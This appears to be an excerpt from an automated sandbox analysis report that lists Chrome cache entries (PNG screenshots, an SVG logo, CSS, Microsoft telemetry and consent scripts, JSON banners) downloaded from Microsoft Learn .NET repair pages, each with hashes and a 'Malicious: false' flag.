File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.074669864961383
Encrypted:	false
SSDEEP:	6144:XegPryKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:gKCerXyUh
MD5:	CB0701D474D57F8C8E2F569161CE0349
SHA1:	4BE2E0C148DED16354E7A91FE721644897C5503C
SHA-256:	AD52B36EA7D484522BA3382718BD370E6804F7B46AD3BE821D94AF81D66F40EB
SHA-512:	BB54B08F64F85498D6592C614F844842CD87BA5A9127B1D2B8AFAEC8086DE171642EA2D241708C9D06DEFDDFA04A4189AAD4814AFD15303C6481F23793CD2D3F
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	dropped
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	18477
Entropy (8bit):	5.147347768532056
Encrypted:	false
SSDEEP:	384:cF3MGvRvqhjNLN1RlX+Vqn3wj2pC33qr3h3x7Z04519u2/8Xx7kuFg/F3Bo3h16z:63MGpvqhj/rlOVqnACpK3o3hhl0OU2/x
MD5:	9A6B01877BAAC986FE1FBF4CAA95E7C7
SHA1:	A3227894EACEB2177EEE7CF66A693A9B4C0971FE
SHA-256:	12051CF7967A2E3F39971EC7F48D1892EB7138F7D1F7E5A3407D63E257EBE7AC
SHA-512:	5DBDA31E67FE480385283A63F8C2D0CE5E1B2A04A23917F65F0EC6867A9D95C93E4B50807D42D65718EF01588AA523FE791A0A1BD0663BB5DC9BED5E43995AB2
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	18477
Entropy (8bit):	5.147347768532056
Encrypted:	false
SSDEEP:	384:cF3MGvRvqhjNLN1RlX+Vqn3wj2pC33qr3h3x7Z04519u2/8Xx7kuFg/F3Bo3h16z:63MGpvqhj/rlOVqnACpK3o3hhl0OU2/x
MD5:	9A6B01877BAAC986FE1FBF4CAA95E7C7
SHA1:	A3227894EACEB2177EEE7CF66A693A9B4C0971FE
SHA-256:	12051CF7967A2E3F39971EC7F48D1892EB7138F7D1F7E5A3407D63E257EBE7AC
SHA-512:	5DBDA31E67FE480385283A63F8C2D0CE5E1B2A04A23917F65F0EC6867A9D95C93E4B50807D42D65718EF01588AA523FE791A0A1BD0663BB5DC9BED5E43995AB2
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
